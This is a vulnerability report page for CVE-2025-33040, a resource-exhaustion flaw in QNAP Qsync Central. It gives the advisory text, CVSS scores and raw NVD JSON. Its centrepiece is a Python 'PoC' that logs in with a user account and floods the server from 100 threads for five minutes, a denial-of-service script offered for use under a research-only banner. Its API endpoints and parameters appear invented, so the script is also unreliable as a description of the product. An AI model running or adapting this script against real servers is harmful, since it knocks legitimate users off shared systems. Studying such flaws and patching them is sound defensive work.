Security Vulnerability Report
中文
CVE-2025-33040 CVSS 6.5 MEDIUM

CVE-2025-33040

Published: 2025-10-03 18:15:35
Last Modified: 2025-10-07 15:00:12

Description

An allocation of resources without limits or throttling vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource. We have already fixed the vulnerability in the following version: Qsync Central 5.0.0.1 ( 2025/07/09 ) and later

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:* - VULNERABLE
QNAP Qsync Central < 5.0.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-33040 - QNAP Qsync Central Resource Exhaustion PoC # This PoC demonstrates resource exhaustion by sending concurrent sync requests # to exhaust system resources, causing denial of service for legitimate users. import requests import threading import time from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_HOST = "https://target-qnap-qsync-host:8080" USERNAME = "attacker_user" PASSWORD = "attacker_password" MAX_THREADS = 100 DURATION = 300 # seconds class QsyncResourceExhaustion: def __init__(self, host, username, password): self.host = host self.username = username self.password = password self.session = requests.Session() self.running = True self.request_count = 0 self.failed_count = 0 def authenticate(self): """Authenticate to Qsync Central with valid credentials""" login_url = f"{self.host}/qsync/login" data = { "username": self.username, "password": self.password } try: resp = self.session.post(login_url, data=data, verify=False, timeout=10) if resp.status_code == 200: print(f"[+] Successfully authenticated as {self.username}") return True else: print(f"[-] Authentication failed: {resp.status_code}") return False except Exception as e: print(f"[-] Connection error: {e}") return False def send_sync_request(self, thread_id): """Send resource-intensive sync requests to exhaust server resources""" sync_endpoints = [ "/qsync/api/v1/sync/trigger", "/qsync/api/v1/sync/list", "/qsync/api/v1/files/list", "/qsync/api/v1/share/create", "/qsync/api/v1/connection/establish", ] while self.running: for endpoint in sync_endpoints: try: url = f"{self.host}{endpoint}" payload = { "path": f"/home/{self.username}/large_file_{thread_id}_{int(time.time())}", "operation": "upload", "chunk_size": 10485760, # 10MB chunks "concurrent_transfers": 50 } resp = self.session.post(url, json=payload, verify=False, timeout=5) self.request_count += 1 if resp.status_code >= 500: self.failed_count += 1 if self.failed_count > 100: print(f"[!] Server returning errors - resource exhaustion likely achieved") return except requests.exceptions.Timeout: self.failed_count += 1 except Exception: self.failed_count += 1 def launch_attack(self): """Launch multi-threaded resource exhaustion attack""" print(f"[*] Launching resource exhaustion attack with {MAX_THREADS} threads...") with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: futures = [] for i in range(MAX_THREADS): future = executor.submit(self.send_sync_request, i) futures.append(future) time.sleep(DURATION) self.running = False for future in as_completed(futures, timeout=30): try: future.result() except Exception: pass print(f"\n[*] Attack completed. Total requests sent: {self.request_count}") print(f"[*] Failed requests (potential DoS indicator): {self.failed_count}") if __name__ == "__main__": import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) exploit = QsyncResourceExhaustion(TARGET_HOST, USERNAME, PASSWORD) if exploit.authenticate(): exploit.launch_attack() else: print("[-] Exploit aborted due to authentication failure")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33040", "sourceIdentifier": "[email protected]", "published": "2025-10-03T18:15:35.067", "lastModified": "2025-10-07T15:00:12.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An allocation of resources without limits or throttling vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.1 ( 2025/07/09 ) and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0.0", "versionEndExcluding": "5.0.0.1", "matchCriteriaId": "1CCFCB2F-05FA-460B-BD0D-966E7CE58D8A"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-34", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}